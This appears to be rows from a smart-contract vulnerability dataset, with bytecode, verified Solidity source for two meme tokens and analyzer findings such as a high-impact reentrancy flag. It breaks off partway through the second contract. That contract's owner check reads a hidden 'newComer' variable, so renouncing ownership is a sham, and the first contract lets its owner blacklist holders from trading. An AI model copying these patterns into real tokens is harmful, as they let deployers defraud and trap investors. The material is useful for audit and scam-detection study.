020a038716845290915290205461066e908363ffffffff6108be16565b336000818152600160209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a031660009081526020819052604090205490565b6106f882826108d4565b5050565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104195780601f106103ee57610100808354040283529160200191610419565b6000600160a060020a038316151561076e57600080fd5b336000908152600160209081526040808320600160a060020a038716845290915290205461066e908363ffffffff6108ac16565b336000908152602081905260408120548211156107be57600080fd5b600160a060020a03831615156107d357600080fd5b336000908152602081905260409020546107f3908363ffffffff6108ac16565b3360009081526020819052604080822092909255600160a060020a03851681522054610825908363ffffffff6108be16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b6000828211156108b857fe5b50900390565b6000828201838110156108cd57fe5b9392505050565b600160a060020a038216600090815260016020908152604080832033845290915290205481111561090457600080fd5b600160a060020a0382166000908152600160209081526040808320338452909152902054610938908263ffffffff6108ac16565b600160a060020a03831660009081526001602090815260408083203384529091529020556106f88282600160a060020a038216151561097657600080fd5b600160a060020a03821660009081526020819052604090205481111561099b57600080fd5b6002546109ae908263ffffffff6108ac16565b600255600160a060020a0382166000908152602081905260409020546109da908263ffffffff6108ac16565b600160a060020a038316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3505056fea165627a7a723058208bbc107e65f5b009a02e35e5f20307f164501526f7e8e3c5d4eb32ae921131b90029 | {"success": true, "error": null, "results": {}} | 931 |
0x37e61e7b1c19bf9cf55998bbba283bba049e829f | /**
*Submitted for verification at Etherscan.io on 2022-05-02
*/
// https://t.me/davincinu
pragma solidity ^0.8.13;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DAVINCINU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "DA VINCI INU";
string private constant _symbol = "DAVINCINU";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x8B816c742e1Fe6FBbC19752C6Cc1e425e4B95b97);
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 7;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 7;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(20).div(1000);
_maxWalletSize = _tTotal.mul(30).div(1000);
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610342578063b87f137a14610362578063c3c8cd8014610382578063c9567bf914610397578063dd62ed3e146103ac57600080fd5b806370a082311461029e578063715018a6146102be578063751039fc146102d35780638da5cb5b146102e857806395d89b411461031057600080fd5b8063273123b7116100e7578063273123b71461020d578063313ce5671461022d5780635932ead114610249578063677daa57146102695780636fc3eaec1461028957600080fd5b806306fdde031461012f578063095ea7b31461017657806318160ddd146101a65780631b3f71ae146101cb57806323b872dd146101ed57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152600c81526b44412056494e434920494e5560a01b60208201525b60405161016d91906115b5565b60405180910390f35b34801561018257600080fd5b5061019661019136600461162f565b6103f2565b604051901515815260200161016d565b3480156101b257600080fd5b50678ac7230489e800005b60405190815260200161016d565b3480156101d757600080fd5b506101eb6101e6366004611671565b610409565b005b3480156101f957600080fd5b50610196610208366004611736565b6104a8565b34801561021957600080fd5b506101eb610228366004611777565b610511565b34801561023957600080fd5b506040516009815260200161016d565b34801561025557600080fd5b506101eb6102643660046117a2565b61055c565b34801561027557600080fd5b506101eb6102843660046117bf565b6105a4565b34801561029557600080fd5b506101eb6105fe565b3480156102aa57600080fd5b506101bd6102b9366004611777565b61062b565b3480156102ca57600080fd5b506101eb61064d565b3480156102df57600080fd5b506101eb6106c1565b3480156102f457600080fd5b506000546040516001600160a01b03909116815260200161016d565b34801561031c57600080fd5b50604080518082019091526009815268444156494e43494e5560b81b6020820152610160565b34801561034e57600080fd5b5061019661035d36600461162f565b6106fe565b34801561036e57600080fd5b506101eb61037d3660046117bf565b61070b565b34801561038e57600080fd5b506101eb61075f565b3480156103a357600080fd5b506101eb610795565b3480156103b857600080fd5b506101bd6103c73660046117d8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103ff3384846109b3565b5060015b92915050565b6000546001600160a01b0316331461043c5760405162461bcd60e51b815260040161043390611811565b60405180910390fd5b60005b81518110156104a45760016006600084848151811061046057610460611846565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061049c81611872565b91505061043f565b5050565b60006104b5848484610ad7565b6105078433610502856040518060600160405280602881526020016119d5602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ee1565b6109b3565b5060019392505050565b6000546001600160a01b0316331461053b5760405162461bcd60e51b815260040161043390611811565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105865760405162461bcd60e51b815260040161043390611811565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105ce5760405162461bcd60e51b815260040161043390611811565b600081116105db57600080fd5b6105f860646105f2678ac7230489e8000084610f1b565b90610fa4565b600f5550565b600c546001600160a01b0316336001600160a01b03161461061e57600080fd5b4761062881610fe6565b50565b6001600160a01b03811660009081526002602052604081205461040390611020565b6000546001600160a01b031633146106775760405162461bcd60e51b815260040161043390611811565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106eb5760405162461bcd60e51b815260040161043390611811565b678ac7230489e80000600f819055601055565b60006103ff338484610ad7565b6000546001600160a01b031633146107355760405162461bcd60e51b815260040161043390611811565b6000811161074257600080fd5b61075960646105f2678ac7230489e8000084610f1b565b60105550565b600c546001600160a01b0316336001600160a01b03161461077f57600080fd5b600061078a3061062b565b90506106288161109d565b6000546001600160a01b031633146107bf5760405162461bcd60e51b815260040161043390611811565b600e54600160a01b900460ff16156108195760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610433565b600d546001600160a01b031663f305d71947306108358161062b565b60008061084a6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108b2573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108d7919061188b565b5050600e805461ffff60b01b191661010160b01b179055506109086103e86105f2678ac7230489e800006014610f1b565b600f556109246103e86105f2678ac7230489e80000601e610f1b565b601055600e8054600160a01b60ff60a01b19821617909155600d5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af115801561098f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061062891906118b9565b6001600160a01b038316610a155760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610433565b6001600160a01b038216610a765760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610433565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b3b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610433565b6001600160a01b038216610b9d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610433565b60008111610bff5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610433565b6000600a556007600b55610c1b6000546001600160a01b031690565b6001600160a01b0316836001600160a01b031614158015610c4a57506000546001600160a01b03838116911614155b15610ed1576001600160a01b03831660009081526006602052604090205460ff16158015610c9157506001600160a01b03821660009081526006602052604090205460ff16155b610c9a57600080fd5b600e546001600160a01b038481169116148015610cc55750600d546001600160a01b03838116911614155b8015610cea57506001600160a01b03821660009081526005602052604090205460ff16155b8015610cff5750600e54600160b81b900460ff165b15610e0457600f54811115610d565760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610433565b60105481610d638461062b565b610d6d91906118d6565b1115610dbb5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610433565b6001600160a01b0382166000908152600760205260409020544211610ddf57600080fd5b610dea42601e6118d6565b6001600160a01b0383166000908152600760205260409020555b600e546001600160a01b038381169116148015610e2f5750600d546001600160a01b03848116911614155b8015610e5457506001600160a01b03831660009081526005602052604090205460ff16155b15610e64576000600a556007600b555b6000610e6f3061062b565b600e54909150600160a81b900460ff16158015610e9a5750600e546001600160a01b03858116911614155b8015610eaf5750600e54600160b01b900460ff165b15610ecf57610ebd8161109d565b478015610ecd57610ecd47610fe6565b505b505b610edc838383611217565b505050565b60008184841115610f055760405162461bcd60e51b815260040161043391906115b5565b506000610f1284866118ee565b95945050505050565b600082600003610f2d57506000610403565b6000610f398385611905565b905082610f468583611924565b14610f9d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610433565b9392505050565b6000610f9d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611222565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156104a4573d6000803e3d6000fd5b60006008548211156110875760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610433565b6000611091611250565b9050610f9d8382610fa4565b600e805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110e5576110e5611846565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561113e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111629190611946565b8160018151811061117557611175611846565b6001600160a01b039283166020918202929092010152600d5461119b91309116846109b3565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111d4908590600090869030904290600401611963565b600060405180830381600087803b1580156111ee57600080fd5b505af1158015611202573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b610edc838383611273565b600081836112435760405162461bcd60e51b815260040161043391906115b5565b506000610f128486611924565b600080600061125d61136a565b909250905061126c8282610fa4565b9250505090565b600080600080600080611285876113aa565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112b79087611407565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112e69086611449565b6001600160a01b038916600090815260026020526040902055611308816114a8565b61131284836114f2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161135791815260200190565b60405180910390a3505050505050505050565b6008546000908190678ac7230489e800006113858282610fa4565b8210156113a157505060085492678ac7230489e8000092509050565b90939092509050565b60008060008060008060008060006113c78a600a54600b54611516565b92509250925060006113d7611250565b905060008060006113ea8e878787611565565b919e509c509a509598509396509194505050505091939550919395565b6000610f9d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ee1565b60008061145683856118d6565b905083811015610f9d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610433565b60006114b2611250565b905060006114c08383610f1b565b306000908152600260205260409020549091506114dd9082611449565b30600090815260026020526040902055505050565b6008546114ff9083611407565b60085560095461150f9082611449565b6009555050565b600080808061152a60646105f28989610f1b565b9050600061153d60646105f28a89610f1b565b905060006115558261154f8b86611407565b90611407565b9992985090965090945050505050565b60008080806115748886610f1b565b905060006115828887610f1b565b905060006115908888610f1b565b905060006115a28261154f8686611407565b939b939a50919850919650505050505050565b600060208083528351808285015260005b818110156115e2578581018301518582016040015282016115c6565b818111156115f4576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461062857600080fd5b803561162a8161160a565b919050565b6000806040838503121561164257600080fd5b823561164d8161160a565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561168457600080fd5b823567ffffffffffffffff8082111561169c57600080fd5b818501915085601f8301126116b057600080fd5b8135818111156116c2576116c261165b565b8060051b604051601f19603f830116810181811085821117156116e7576116e761165b565b60405291825284820192508381018501918883111561170557600080fd5b938501935b8285101561172a5761171b8561161f565b8452938501939285019261170a565b98975050505050505050565b60008060006060848603121561174b57600080fd5b83356117568161160a565b925060208401356117668161160a565b929592945050506040919091013590565b60006020828403121561178957600080fd5b8135610f9d8161160a565b801515811461062857600080fd5b6000602082840312156117b457600080fd5b8135610f9d81611794565b6000602082840312156117d157600080fd5b5035919050565b600080604083850312156117eb57600080fd5b82356117f68161160a565b915060208301356118068161160a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016118845761188461185c565b5060010190565b6000806000606084860312156118a057600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156118cb57600080fd5b8151610f9d81611794565b600082198211156118e9576118e961185c565b500190565b6000828210156119005761190061185c565b500390565b600081600019048311821515161561191f5761191f61185c565b500290565b60008261194157634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561195857600080fd5b8151610f9d8161160a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119b35784516001600160a01b03168352938301939183019160010161198e565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220616795e6a10a9497c67643635016d618c0110643bb47d3af54232c3e9685f05f64736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 932 |
0x6856af593670e8044dd5f462323c27130eeb3a62 | /**
*Submitted for verification at Etherscan.io on 2021-07-23
*/
/*
_____ _ _ _
/ __ \ | | | | (_)
| / \/_ __ _ _ _ __ | |_ ___ | |_ _ _ __ ___ _ __ _ ___ ___
| | | '__| | | | '_ \| __/ _ \| | | | | '_ ` _ \| '_ \| |/ __/ __|
| \__/\ | | |_| | |_) | || (_) | | |_| | | | | | | |_) | | (__\__ \
\____/_| \__, | .__/ \__\___/|_|\__, |_| |_| |_| .__/|_|\___|___/
__/ | | __/ | | |
|___/|_| |___/ |_|
🥇CRYPTOLYMPICS🥇
By holding this CRYPTOLYMPICS token you will be rewarded in ETH. Our smart contract automatically distributes ETH to all holders without having to manually claim the rewards. Rewards are paid out in ETH and they are proportional to the percentage of tokens that you own in the total supply.
🥇LAUNCH DETAILS🥇
🔒 Liquidity Locked
✅ Contract Verified
♻️ 5% Awards Tax
🔊 5% Marketing Tax
Telegram: https://t.me/CryptoOlympics
Website: cryptolympics.net
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract cryptolympics is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1 * 10**9 * 10**18;
string private _name = 'CryptoOlympics | https://t.me/CryptoOlympics';
string private _symbol = '$CryptoOlympics';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
